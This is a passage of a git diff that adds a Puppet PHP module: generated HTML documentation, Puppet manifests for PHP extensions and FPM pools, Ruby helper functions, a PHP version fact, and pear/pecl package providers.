    [provider] + The provider used to install the package + Could be "pecl", "apt", "dpkg" or any other OS package provider + If set to "none", no package will be installed

    + +

    [source] + The source to install the extension from. Possible values + depend on the provider used

    + +

    [header_packages] + System packages dependencies to install for extensions (e.g. for + memcached libmemcached-dev on Debian)

    + +

    [compiler_packages] + System packages dependencies to install for compiling extensions + (e.g. build-essential on Debian)

    + +

    [responsefile] + File containing answers for interactive extension setup. Supported + providers: pear, pecl.

    + +

    [install_options] + Array of String or Hash options to pass to the provider.

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: 'installed') + + +
    • + +
    • + + provider + + + (Optional[Php::Provider]) + + + (defaults to: undef) + + +
    • + +
    • + + source + + + (Optional[String]) + + + (defaults to: undef) + + +
    • + +
    • + + package_prefix + + + (String) + + + (defaults to: $::php::package_prefix) + + +
    • + +
    • + + responsefile + + + (Optional[Stdlib::AbsolutePath]) + + + (defaults to: undef) + + +
    • + +
    • + + header_packages + + + (Variant[String, Array[String]]) + + + (defaults to: []) + + +
    • + +
    • + + compiler_packages + + + (Variant[String, Array[String]]) + + + (defaults to: $::php::params::compiler_packages) + + +
    • + +
    • + + install_options + + + (Php::InstallOptions) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +57
    +58
    +59
    +60
    +61
    +62
    +63
    +64
    +65
    +66
    +67
    +68
    +69
    +70
    +71
    +72
    +73
    +74
    +75
    +76
    +77
    +78
    +79
    +80
    +81
    +82
    +83
    +84
    +85
    +86
    +87
    +88
    +89
    +90
    +
    +
    # File 'manifests/extension/install.pp', line 36
    +
    +define php::extension::install (
    +  String           $ensure                          = 'installed',
    +  Optional[Php::Provider] $provider                 = undef,
    +  Optional[String] $source                          = undef,
    +  String           $package_prefix                  = $::php::package_prefix,
    +  Optional[Stdlib::AbsolutePath] $responsefile      = undef,
    +  Variant[String, Array[String]] $header_packages   = [],
    +  Variant[String, Array[String]] $compiler_packages = $::php::params::compiler_packages,
    +  Php::InstallOptions $install_options              = undef,
    +) {
    +
    +  if ! defined(Class['php']) {
    +    warning('php::extension::install is private')
    +  }
    +
    +  case $provider {
    +    /pecl|pear/: {
    +      $real_package = $title
    +
    +      unless empty($header_packages) {
    +        ensure_resource('package', $header_packages)
    +        Package[$header_packages] -> Package[$real_package]
    +      }
    +      unless empty($compiler_packages) {
    +        ensure_resource('package', $compiler_packages)
    +        Package[$compiler_packages] -> Package[$real_package]
    +      }
    +
    +      $package_require      = [
    +        Class['::php::pear'],
    +        Class['::php::dev'],
    +      ]
    +    }
    +
    +    'none' : {
    +      debug("No package installed for php::extension: `${title}`.")
    +    }
    +
    +    default: {
    +      $real_package = "${package_prefix}${title}"
    +      $package_require = undef
    +    }
    +  }
    +
    +  unless $provider == 'none' {
    +    package { $real_package:
    +      ensure          => $ensure,
    +      provider        => $provider,
    +      source          => $source,
    +      responsefile    => $responsefile,
    +      install_options => $install_options,
    +      require         => $package_require,
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Afpm_3A_3Apool.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Afpm_3A_3Apool.html new file mode 100644 index 000000000..c0e510c3d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_defined_types/php_3A_3Afpm_3A_3Apool.html @@ -0,0 +1,935 @@ + + + + + + + Defined Type: php::fpm::pool + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Defined Type: php::fpm::pool

    +
    +
    +
    Defined in:
    +
    + manifests/fpm/pool.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Configure fpm pools

    + +

    === Parameters

    + +

    See the official php-fpm documentation for parameters that are not +documented here: http://php.net/manual/en/install.fpm.configuration.php.

    + +

    [ensure] + Remove pool if set to 'absent', add otherwise

    + +

    [listen] + On what socket to listen for FastCGI connections, i.e. + '127.0.0.1:9000'' or'/var/run/php5-fpm.sock'`

    + +

    [listen_backlog]

    + +

    [listen_allowed_clients]

    + +

    [listen_owner] + Set owner of the Unix socket

    + +

    [listen_group] + Set the group of the Unix socket

    + +

    [listen_mode]

    + +

    [user] + The user that php-fpm should run as

    + +

    [group] + The group that php-fpm should run as

    + +

    [pm]

    + +

    [pm_max_children]

    + +

    [pm_start_servers]

    + +

    [pm_min_spare_servers]

    + +

    [pm_max_spare_servers]

    + +

    [pm_max_requests]

    + +

    [pm_process_idle_timeout]

    + +

    [pm_status_path]

    + +

    [ping_path]

    + +

    [ping_response]

    + +

    [access_log] + The path to the file to write access log requests to

    + +

    [access_log_format] + The format to save the access log entries as

    + +

    [request_terminate_timeout]

    + +

    [request_slowlog_timeout]

    + +

    [security_limit_extensions]

    + +

    [slowlog]

    + +

    [template] + The template to use for the pool

    + +

    [rlimit_files]

    + +

    [rlimit_core]

    + +

    [chroot]

    + +

    [chdir]

    + +

    [catch_workers_output]

    + +

    [include] + Other configuration files to include on this pool

    + +

    [env] + List of environment variables that are passed to the php-fpm from the + outside and will be available to php scripts in this pool

    + +

    [env_value] + Hash of environment variables and values as strings to use in php + scripts in this pool

    + +

    [options] + An optional hash for any other data.

    + +

    [php_value] + Hash of php_value directives

    + +

    [php_flag] + Hash of php_flag directives

    + +

    [php_admin_value] + Hash of php_admin_value directives

    + +

    [php_admin_flag] + Hash of php_admin_flag directives

    + +

    [php_directives] + List of custom directives that are appended to the pool config

    + +

    [root_group] + UNIX group of the root user

    + +

    [base_dir] + The folder that contains the php-fpm pool configs. This defaults to a + sensible default depending on your operating system, like + '/etc/php5/fpm/pool.d' or '/etc/php-fpm.d'

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (Any) + + + (defaults to: 'present') + + +
    • + +
    • + + listen + + + (Any) + + + (defaults to: '127.0.0.1:9000') + + +
    • + +
    • + + listen_backlog + + + (Any) + + + (defaults to: '-1') + + +
    • + +
    • + + listen_allowed_clients + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + listen_owner + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + listen_group + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + listen_mode + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + user + + + (Any) + + + (defaults to: $::php::fpm::config::user) + + +
    • + +
    • + + group + + + (Any) + + + (defaults to: $::php::fpm::config::group) + + +
    • + +
    • + + pm + + + (Any) + + + (defaults to: 'dynamic') + + +
    • + +
    • + + pm_max_children + + + (Any) + + + (defaults to: '50') + + +
    • + +
    • + + pm_start_servers + + + (Any) + + + (defaults to: '5') + + +
    • + +
    • + + pm_min_spare_servers + + + (Any) + + + (defaults to: '5') + + +
    • + +
    • + + pm_max_spare_servers + + + (Any) + + + (defaults to: '35') + + +
    • + +
    • + + pm_max_requests + + + (Any) + + + (defaults to: '0') + + +
    • + +
    • + + pm_process_idle_timeout + + + (Any) + + + (defaults to: '10s') + + +
    • + +
    • + + pm_status_path + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + ping_path + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + ping_response + + + (Any) + + + (defaults to: 'pong') + + +
    • + +
    • + + access_log + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + access_log_format + + + (Any) + + + (defaults to: '"%R - %u %t \"%m %r\" %s"') + + +
    • + +
    • + + request_terminate_timeout + + + (Any) + + + (defaults to: '0') + + +
    • + +
    • + + request_slowlog_timeout + + + (Any) + + + (defaults to: '0') + + +
    • + +
    • + + security_limit_extensions + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + slowlog + + + (Any) + + + (defaults to: "/var/log/php-fpm/${name}-slow.log") + + +
    • + +
    • + + template + + + (Any) + + + (defaults to: 'php/fpm/pool.conf.erb') + + +
    • + +
    • + + rlimit_files + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + rlimit_core + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + chroot + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + chdir + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + catch_workers_output + + + (Any) + + + (defaults to: 'no') + + +
    • + +
    • + + include + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + env + + + (Any) + + + (defaults to: []) + + +
    • + +
    • + + env_value + + + (Any) + + + (defaults to: {}) + + +
    • + +
    • + + options + + + (Any) + + + (defaults to: {}) + + +
    • + +
    • + + php_value + + + (Any) + + + (defaults to: {}) + + +
    • + +
    • + + php_flag + + + (Any) + + + (defaults to: {}) + + +
    • + +
    • + + php_admin_value + + + (Any) + + + (defaults to: {}) + + +
    • + +
    • + + php_admin_flag + + + (Any) + + + (defaults to: {}) + + +
    • + +
    • + + php_directives + + + (Any) + + + (defaults to: []) + + +
    • + +
    • + + root_group + + + (Any) + + + (defaults to: $::php::params::root_group) + + +
    • + +
    • + + base_dir + + + (Optional[Stdlib::Absolutepath]) + + + (defaults to: undef) + + +
    • + +
    + + +
    + + + + + +
    +
    +
    +
    +117
    +118
    +119
    +120
    +121
    +122
    +123
    +124
    +125
    +126
    +127
    +128
    +129
    +130
    +131
    +132
    +133
    +134
    +135
    +136
    +137
    +138
    +139
    +140
    +141
    +142
    +143
    +144
    +145
    +146
    +147
    +148
    +149
    +150
    +151
    +152
    +153
    +154
    +155
    +156
    +157
    +158
    +159
    +160
    +161
    +162
    +163
    +164
    +165
    +166
    +167
    +168
    +169
    +170
    +171
    +172
    +173
    +174
    +175
    +176
    +177
    +178
    +179
    +180
    +181
    +182
    +183
    +184
    +185
    +186
    +187
    +188
    +189
    +190
    +191
    +192
    +193
    +194
    +195
    +196
    +197
    +198
    +199
    +
    +
    # File 'manifests/fpm/pool.pp', line 117
    +
    +define php::fpm::pool (
    +  $ensure                                  = 'present',
    +  $listen                                  = '127.0.0.1:9000',
    +  $listen_backlog                          = '-1',
    +  $listen_allowed_clients                  = undef,
    +  $listen_owner                            = undef,
    +  $listen_group                            = undef,
    +  $listen_mode                             = undef,
    +  $user                                    = $::php::fpm::config::user,
    +  $group                                   = $::php::fpm::config::group,
    +  $pm                                      = 'dynamic',
    +  $pm_max_children                         = '50',
    +  $pm_start_servers                        = '5',
    +  $pm_min_spare_servers                    = '5',
    +  $pm_max_spare_servers                    = '35',
    +  $pm_max_requests                         = '0',
    +  $pm_process_idle_timeout                 = '10s',
    +  $pm_status_path                          = undef,
    +  $ping_path                               = undef,
    +  $ping_response                           = 'pong',
    +  $access_log                              = undef,
    +  $access_log_format                       = '"%R - %u %t \"%m %r\" %s"',
    +  $request_terminate_timeout               = '0',
    +  $request_slowlog_timeout                 = '0',
    +  $security_limit_extensions               = undef,
    +  $slowlog                                 = "/var/log/php-fpm/${name}-slow.log",
    +  $template                                = 'php/fpm/pool.conf.erb',
    +  $rlimit_files                            = undef,
    +  $rlimit_core                             = undef,
    +  $chroot                                  = undef,
    +  $chdir                                   = undef,
    +  $catch_workers_output                    = 'no',
    +  $include                                 = undef,
    +  $env                                     = [],
    +  $env_value                               = {},
    +  $options                                 = {},
    +  $php_value                               = {},
    +  $php_flag                                = {},
    +  $php_admin_value                         = {},
    +  $php_admin_flag                          = {},
    +  $php_directives                          = [],
    +  $root_group                              = $::php::params::root_group,
    +  Optional[Stdlib::Absolutepath] $base_dir = undef,
    +) {
    +
    +  # The base class must be included first because it is used by parameter defaults
    +  if ! defined(Class['php']) {
    +    warning('You must include the php base class before using any php defined resources')
    +  }
    +
    +  $pool = $title
    +
    +  # Hack-ish to default to user for group too
    +  $group_final = $group ? {
    +    undef   => $user,
    +    default => $group
    +  }
    +
    +  # On FreeBSD fpm is not a separate package, but included in the 'php' package.
    +  # Implies that the option SET+=FPM was set when building the port.
    +  $real_package = $facts['os']['name'] ? {
    +    'FreeBSD' => [],
    +    default   => $::php::fpm::package,
    +  }
    +
    +  $pool_base_dir = pick_default($base_dir, $::php::fpm::config::pool_base_dir, $::php::params::fpm_pool_dir)
    +  if ($ensure == 'absent') {
    +    file { "${pool_base_dir}/${pool}.conf":
    +      ensure => absent,
    +      notify => Class['::php::fpm::service'],
    +    }
    +  } else {
    +    file { "${pool_base_dir}/${pool}.conf":
    +      ensure  => file,
    +      notify  => Class['::php::fpm::service'],
    +      require => Package[$real_package],
    +      content => template($template),
    +      owner   => root,
    +      group   => $root_group,
    +      mode    => '0644',
    +    }
    +  }
    +}
    +
    +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_function_list.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_function_list.html new file mode 100644 index 000000000..10ceb73be --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_function_list.html @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + Puppet Function List + + + +
    +
    +

    Puppet Function List

    + + + +
    + + +
    + + diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/ensure_prefix.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/ensure_prefix.html new file mode 100644 index 000000000..c76012015 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/ensure_prefix.html @@ -0,0 +1,259 @@ + + + + + + + Puppet Function: ensure_prefix (Ruby 3.x API) + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Function: ensure_prefix

    +
    +
    +
    Defined in:
    +
    + lib/puppet/parser/functions/ensure_prefix.rb +
    +
    +
    +
    Function type:
    +
    Ruby 3.x API
    +
    +
    + +

    Overview

    +
    + +
    + + + ensure_prefix()Any + + +
    + +
    +
    +

    This function ensures a prefix for all elements in an array or the keys in a hash.

    + +

    Examples:

    + +

    ensure_prefix(=> 1, 'b' => 2, 'p.c' => 3, 'p.')

    + +

    Will return: + { + 'p.a' => 1, + 'p.b' => 2, + 'p.c' => 3, + }

    + +

    ensure_prefix(['a', 'p.b', 'c'], 'p.')

    + +

    Will return: + ['p.a', 'p.b', 'p.c']

    + +
    +
    +
    + + +

    Returns:

    +
      + +
    • + + + (Any) + + + +
    • + +
    + +
    + + + + + +
    +
    +
    +
    +3
    +4
    +5
    +6
    +7
    +8
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +37
    +38
    +39
    +40
    +41
    +42
    +43
    +44
    +45
    +46
    +47
    +48
    +49
    +50
    +51
    +52
    +53
    +54
    +55
    +56
    +
    +
    # File 'lib/puppet/parser/functions/ensure_prefix.rb', line 3
    +
    +newfunction(:ensure_prefix, type: :rvalue, doc: <<-EOS
    +  This function ensures a prefix for all elements in an array or the keys in a hash.
    +
    +  *Examples:*
    +
    +    ensure_prefix({'a' => 1, 'b' => 2, 'p.c' => 3}, 'p.')
    +
    +  Will return:
    +    {
    +      'p.a' => 1,
    +      'p.b' => 2,
    +      'p.c' => 3,
    +    }
    +
    +    ensure_prefix(['a', 'p.b', 'c'], 'p.')
    +
    +  Will return:
    +    ['p.a', 'p.b', 'p.c']
    +EOS
    +           ) do |arguments|
    +  if arguments.size < 2
    +    raise(Puppet::ParseError, 'ensure_prefix(): Wrong number of arguments ' \
    +      "given (#{arguments.size} for 2)")
    +  end
    +
    +  enumerable = arguments[0]
    +
    +  unless enumerable.is_a?(Array) || enumerable.is_a?(Hash)
    +    raise Puppet::ParseError, "ensure_prefix(): expected first argument to be an Array or a Hash, got #{enumerable.inspect}"
    +  end
    +
    +  prefix = arguments[1] if arguments[1]
    +
    +  if prefix
    +    unless prefix.is_a?(String)
    +      raise Puppet::ParseError, "ensure_prefix(): expected second argument to be a String, got #{prefix.inspect}"
    +    end
    +  end
    +
    +  result = if enumerable.is_a?(Array)
    +             # Turn everything into string same as join would do ...
    +             enumerable.map do |i|
    +               i = i.to_s
    +               prefix && !i.start_with?(prefix) ? prefix + i : i
    +             end
    +           else
    +             Hash[enumerable.map do |k, v|
    +               k = k.to_s
    +               [prefix && !k.start_with?(prefix) ? prefix + k : k, v]
    +             end]
    +           end
    +
    +  return result
    +end
    +
    +
    + +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html new file mode 100644 index 000000000..973706b7a --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_functions_ruby3x/to_hash_settings.html @@ -0,0 +1,224 @@ + + + + + + + Puppet Function: to_hash_settings (Ruby 3.x API) + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Function: to_hash_settings

    +
    +
    +
    Defined in:
    +
    + lib/puppet/parser/functions/to_hash_settings.rb +
    +
    +
    +
    Function type:
    +
    Ruby 3.x API
    +
    +
    + +

    Overview

    +
    + +
    + + + to_hash_settings()Any + + +
    + +
    +
    +

    This function converts a +=> value+ hash into a nested hash and can add an id to the outer key. +The optional id string as second parameter is prepended to the resource name.

    + +

    Examples:

    + +

    to_hash_settings(=> 1, 'b' => 2)

    + +

    Would return: + { + 'a' => => 'a', 'value' => 1, + 'b' => => 'b', 'value' => 2 + }

    + +

    and:

    + +

    to_hash_settings(=> 1, 'b' => 2, 'foo')

    + +

    Would return: + { + 'foo: a' => => 'a', 'value' => 1, + 'foo: b' => => 'b', 'value' => 2 + }

    + +
    +
    +
    + + +

    Returns:

    +
      + +
    • + + + (Any) + + + +
    • + +
    + +
    + + + + + +
    +
    +
    +
    +3
    +4
    +5
    +6
    +7
    +8
    +9
    +10
    +11
    +12
    +13
    +14
    +15
    +16
    +17
    +18
    +19
    +20
    +21
    +22
    +23
    +24
    +25
    +26
    +27
    +28
    +29
    +30
    +31
    +32
    +33
    +34
    +35
    +36
    +
    +
    # File 'lib/puppet/parser/functions/to_hash_settings.rb', line 3
    +
    +newfunction(:to_hash_settings, type: :rvalue, doc: <<-EOS
    +  This function converts a +{key => value}+ hash into a nested hash and can add an id to the outer key.
    +  The optional id string as second parameter is prepended to the resource name.
    +
    +  *Examples:*
    +
    +    to_hash_settings({'a' => 1, 'b' => 2})
    +
    +  Would return:
    +    {
    +      'a' => {'key' => 'a', 'value' => 1},
    +      'b' => {'key' => 'b', 'value' => 2}
    +    }
    +
    +  and:
    +
    +    to_hash_settings({'a' => 1, 'b' => 2}, 'foo')
    +
    +  Would return:
    +    {
    +      'foo: a' => {'key' => 'a', 'value' => 1},
    +      'foo: b' => {'key' => 'b', 'value' => 2}
    +    }
    +EOS
    +           ) do |arguments|
    +  hash, id = arguments
    +  id = (id.nil? ? '' : "#{id}: ")
    +
    +  raise(Puppet::ParseError, 'to_hash_settings(): Requires hash to work with') unless hash.is_a?(Hash)
    +
    +  return hash.each_with_object({}) do |kv, acc|
    +    acc[id + kv[0]] = { 'key' => kv[0], 'value' => kv[1] }
    +  end
    +end
    +
    +
    + +
    +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_provider_list.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_provider_list.html new file mode 100644 index 000000000..7881a220f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_provider_list.html @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + Provider List + + + +
    + + +
      + + +
    • +
      + pear + Resource type: package +
      +
    • + + +
    • +
      + pecl + Resource type: package +
      +
    • + + + +
    +
    + + diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pear.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pear.html new file mode 100644 index 000000000..5621549a9 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pear.html @@ -0,0 +1,129 @@ + + + + + + + Provider: pear + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Provider: pear

    +
    +
    +
    Defined in:
    +
    + lib/puppet/provider/package/pear.rb +
    +
    +
    +
    Resource type:
    +
    package
    +
    +
    + +

    Overview

    +
    +
    +

    Package management via pear.

    + +
    +
    +
    + + +
    +
    +

    Features

    +
      + +
    • + versionable +
    • + +
    • + upgradeable +
    • + +
    • + install_options +
    • + +
    +
    + + + + +
    +

    Commands

    +
      + + + +
    • pear — pear
    • + + +
    +
    + +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pecl.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pecl.html new file mode 100644 index 000000000..29c68d69f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_providers_package/pecl.html @@ -0,0 +1,129 @@ + + + + + + + Provider: pecl + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Provider: pecl

    +
    +
    +
    Defined in:
    +
    + lib/puppet/provider/package/pecl.rb +
    +
    +
    +
    Resource type:
    +
    package
    +
    +
    + +

    Overview

    +
    +
    +

    Package management via pecl.

    + +
    +
    +
    + + +
    +
    +

    Features

    +
      + +
    • + versionable +
    • + +
    • + upgradeable +
    • + +
    • + install_options +
    • + +
    +
    + + + + +
    +

    Commands

    +
      + + + +
    • pear — pear
    • + + +
    +
    + +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/top-level-namespace.html b/modules/utilities/unix/web_frameworks/php/docs/top-level-namespace.html new file mode 100644 index 000000000..a5696897f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/top-level-namespace.html @@ -0,0 +1,98 @@ + + + + + + + Top Level Namespace + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Top Level Namespace + + + +

    +
    + + + + + + + + + + + +
    + + + + + + + + + + +
    + + + +
    + + \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/lib/facter/phpversion.rb b/modules/utilities/unix/web_frameworks/php/lib/facter/phpversion.rb new file mode 100644 index 000000000..310f651fd --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/lib/facter/phpversion.rb @@ -0,0 +1,10 @@ +Facter.add(:phpversion) do + setcode do + output = Facter::Util::Resolution.exec('php -v') + + unless output.nil? + output.split("\n").first.split(' '). + select { |x| x =~ %r{^(?:(\d+)\.)(?:(\d+)\.)?(\*|\d+)} }.first + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/ensure_prefix.rb b/modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/ensure_prefix.rb new file mode 100644 index 000000000..f1985518b --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/ensure_prefix.rb @@ -0,0 +1,57 @@ + +module Puppet::Parser::Functions + newfunction(:ensure_prefix, type: :rvalue, doc: <<-EOS + This function ensures a prefix for all elements in an array or the keys in a hash. + + *Examples:* + + ensure_prefix({'a' => 1, 'b' => 2, 'p.c' => 3}, 'p.') + + Will return: + { + 'p.a' => 1, + 'p.b' => 2, + 'p.c' => 3, + } + + ensure_prefix(['a', 'p.b', 'c'], 'p.') + + Will return: + ['p.a', 'p.b', 'p.c'] +EOS + ) do |arguments| + if arguments.size < 2 + raise(Puppet::ParseError, 'ensure_prefix(): Wrong number of arguments ' \ + "given (#{arguments.size} for 2)") + end + + enumerable = arguments[0] + + unless enumerable.is_a?(Array) || enumerable.is_a?(Hash) + raise Puppet::ParseError, "ensure_prefix(): expected first argument to be an Array or a Hash, got #{enumerable.inspect}" + end + + prefix = arguments[1] if arguments[1] + + if prefix + unless prefix.is_a?(String) + raise Puppet::ParseError, "ensure_prefix(): expected second argument to be a String, got #{prefix.inspect}" + end + end + + result = if enumerable.is_a?(Array) + # Turn everything into string same as join would do ... + enumerable.map do |i| + i = i.to_s + prefix && !i.start_with?(prefix) ? prefix + i : i + end + else + Hash[enumerable.map do |k, v| + k = k.to_s + [prefix && !k.start_with?(prefix) ? prefix + k : k, v] + end] + end + + return result + end +end diff --git a/modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/to_hash_settings.rb b/modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/to_hash_settings.rb new file mode 100644 index 000000000..9e33ee97f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/lib/puppet/parser/functions/to_hash_settings.rb @@ -0,0 +1,37 @@ + +module Puppet::Parser::Functions + newfunction(:to_hash_settings, type: :rvalue, doc: <<-EOS + This function converts a +{key => value}+ hash into a nested hash and can add an id to the outer key. + The optional id string as second parameter is prepended to the resource name. + + *Examples:* + + to_hash_settings({'a' => 1, 'b' => 2}) + + Would return: + { + 'a' => {'key' => 'a', 'value' => 1}, + 'b' => {'key' => 'b', 'value' => 2} + } + + and: + + to_hash_settings({'a' => 1, 'b' => 2}, 'foo') + + Would return: + { + 'foo: a' => {'key' => 'a', 'value' => 1}, + 'foo: b' => {'key' => 'b', 'value' => 2} + } +EOS + ) do |arguments| + hash, id = arguments + id = (id.nil? ? '' : "#{id}: ") + + raise(Puppet::ParseError, 'to_hash_settings(): Requires hash to work with') unless hash.is_a?(Hash) + + return hash.each_with_object({}) do |kv, acc| + acc[id + kv[0]] = { 'key' => kv[0], 'value' => kv[1] } + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pear.rb b/modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pear.rb new file mode 100644 index 000000000..94d5b558c --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pear.rb @@ -0,0 +1,109 @@ +require 'puppet/provider/package' + +Puppet::Type.type(:package).provide :pear, parent: Puppet::Provider::Package do + desc 'Package management via `pear`.' + + has_feature :versionable + has_feature :upgradeable + has_feature :install_options + + commands pear: 'pear' + + ENV['TERM'] = 'dumb' # remove colors + + def self.pearlist(only = nil) + channel = nil + + packages = pear('list', '-a').split("\n").map do |line| + # current channel + %r{INSTALLED PACKAGES, CHANNEL (.*):}i.match(line) { |m| channel = m[1].downcase } + + # parse one package + pearsplit(line, channel) + end.compact + + return packages unless only + + packages.find do |pkg| + pkg[:name].casecmp(only[:name].downcase).zero? + end + end + + def self.pearsplit(desc, channel) + desc.strip! + + case desc + when '' then nil + when %r{^installed}i then nil + when %r{no packages installed}i then nil + when %r{^=} then nil + when %r{^package}i then nil + when %r{^(\S+)\s+(\S+)\s+(\S+)\s*$} then + name = Regexp.last_match(1) + version = Regexp.last_match(2) + state = Regexp.last_match(3) + + { + name: name, + vendor: channel, + ensure: state == 'stable' ? version : state, + provider: self.name + } + else + Puppet.warning format('Could not match %s', desc) + nil + end + end + + def self.instances + pearlist.map do |hash| + new(hash) + end + end + + def install(useversion = true) + command = ['-D', 'auto_discover=1', 'upgrade'] + + if @resource[:install_options] + command += join_options(@resource[:install_options]) + else + command << '--alldeps' + end + + pear_pkg = @resource[:source] || @resource[:name] + if !@resource[:ensure].is_a?(Symbol) && useversion + command << '-f' + pear_pkg << "-#{@resource[:ensure]}" + end + command << pear_pkg + + if @resource[:responsefile] + Puppet::Util::Execution.execute( + [command(:pear)] + command, + stdinfile: @resource[:responsefile] + ) + else + pear(*command) + end + end + + def latest + target = @resource[:source] || @resource[:name] + pear('remote-info', target).lines.find do |set| + set =~ %r{^Latest} + end.split[1] + end + + def query + self.class.pearlist(@resource) + end + + def uninstall + output = pear 'uninstall', @resource[:name] + raise Puppet::Error, output unless output =~ %r{^uninstall ok} + end + + def update + install(false) + end +end diff --git a/modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pecl.rb b/modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pecl.rb new file mode 100644 index 000000000..442aa45fd --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/lib/puppet/provider/package/pecl.rb @@ -0,0 +1,38 @@ +require 'puppet/provider/package' + +Puppet::Type.type(:package).provide :pecl, parent: :pear do + desc 'Package management via `pecl`.' + + has_feature :versionable + has_feature :upgradeable + has_feature :install_options + + commands pear: 'pear' + + def self.instances + pear_packages = super + + pear_packages.select do |pkg| + pkg.properties[:vendor] == 'pecl.php.net' + end + end + + def convert_to_pear + @resource[:source] = "pecl.php.net/#{@resource[:name]}" + end + + def install(useversion = true) + convert_to_pear + super(useversion) + end + + def latest + convert_to_pear + super + end + + def uninstall + convert_to_pear + super + end +end diff --git a/modules/utilities/unix/web_frameworks/php/manifests/apache_config.pp b/modules/utilities/unix/web_frameworks/php/manifests/apache_config.pp new file mode 100644 index 000000000..d7730f62c --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/manifests/apache_config.pp @@ -0,0 +1,26 @@ +# Install and configure php apache settings +# +# === Parameters +# +# [*inifile*] +# The path to the ini php-apache ini file +# +# [*settings*] +# Hash with nested hash of key => value to set in inifile +# +class php::apache_config( + Stdlib::Absolutepath $inifile = $::php::params::apache_inifile, + Hash $settings = {} +) inherits ::php::params { + + if $caller_module_name != $module_name { + warning('php::apache_config is private') + } + + $real_settings = deep_merge($settings, hiera_hash('php::apache::settings', {})) + + ::php::config { 'apache': + file => $inifile, + config => $real_settings, + } +} diff --git a/modules/utilities/unix/web_frameworks/php/manifests/apache_vhost.pp b/modules/utilities/unix/web_frameworks/php/manifests/apache_vhost.pp new file mode 100644 index 000000000..a1daf1415 --- /dev/null +++ 